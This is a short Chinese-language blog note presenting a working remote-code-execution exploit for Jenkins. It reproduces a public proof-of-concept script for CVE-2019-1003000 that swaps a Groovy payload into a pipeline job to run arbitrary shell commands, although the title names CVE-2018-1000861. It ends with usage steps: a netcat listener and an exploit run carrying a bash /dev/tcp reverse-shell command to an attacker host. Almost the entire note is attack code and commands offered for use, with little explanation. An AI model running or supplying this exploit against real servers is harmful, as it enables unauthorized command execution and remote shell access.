【笔记】CVE-2018-1000861漏洞利用

发表于 更新于 阅读次数：

前言

通过adamyordan/cve-2019-1003000-jenkins-rce-poc实现Jenkins反序列化漏洞利用
默认端口为8080

下载项目

1
2
3
4
5
git clone https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc.git
cd cve-2019-1003000-jenkins-rce-poc
python2 -m venv venv
source venv/bin/activate
pip2 install -r requirements.txt

源代码

exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
#!/usr/bin/python

# Author: Adam Jordan
# Date: 2019-02-15
# Repository: https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc
# PoC for: SECURITY-1266 / CVE-2019-1003000 (Script Security), CVE-2019-1003001 (Pipeline: Groovy), CVE-2019-1003002 (Pipeline: Declarative)


import argparse
import jenkins
import time
from xml.etree import ElementTree

payload = '''
import org.buildobjects.process.ProcBuilder
@Grab('org.buildobjects:jproc:2.2.3')
class Dummy{ }

print new ProcBuilder("/bin/bash").withArgs("-c","%s").run().getOutputString()
'''


def run_command(url, cmd, job_name, username, password):
    print '[+] connecting to jenkins...'
    server = jenkins.Jenkins(url, username, password)

    print '[+] crafting payload...'
    ori_job_config = server.get_job_config(job_name)
    et = ElementTree.fromstring(ori_job_config)
    et.find('definition/script').text = payload % cmd
    job_config = ElementTree.tostring(et, encoding='utf8', method='xml')

    print '[+] modifying job with payload...'
    server.reconfig_job(job_name, job_config)
    time.sleep(3)

    print '[+] putting job build to queue...'
    queue_number = server.build_job(job_name)
    time.sleep(3)

    print '[+] waiting for job to build...'
    queue_item_info = {}
    while 'executable' not in queue_item_info:
        queue_item_info = server.get_queue_item(queue_number)
        time.sleep(1)

    print '[+] restoring job...'
    server.reconfig_job(job_name, ori_job_config)
    time.sleep(3)

    print '[+] fetching output...'
    last_build_number = server.get_job_info(job_name)['lastBuild']['number']
    console_output = server.get_build_console_output(job_name, last_build_number)

    print '[+] OUTPUT:'
    print console_output


if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Jenkins RCE')

    parser.add_argument('--url', help='target jenkins url')
    parser.add_argument('--cmd', help='system command to be run')
    parser.add_argument('--job', help='job name')
    parser.add_argument('--username', help='username')
    parser.add_argument('--password', help='password')

    args = parser.parse_args()

    run_command(args.url, args.cmd, args.job, args.username, args.password)

攻击者监听反弹Shell

1
nc -lvp <port>

受害者反弹Shell

1
python2 exploit.py <url> "bash -i >& /dev/tcp/<ip>/<port> 0>&1"

完成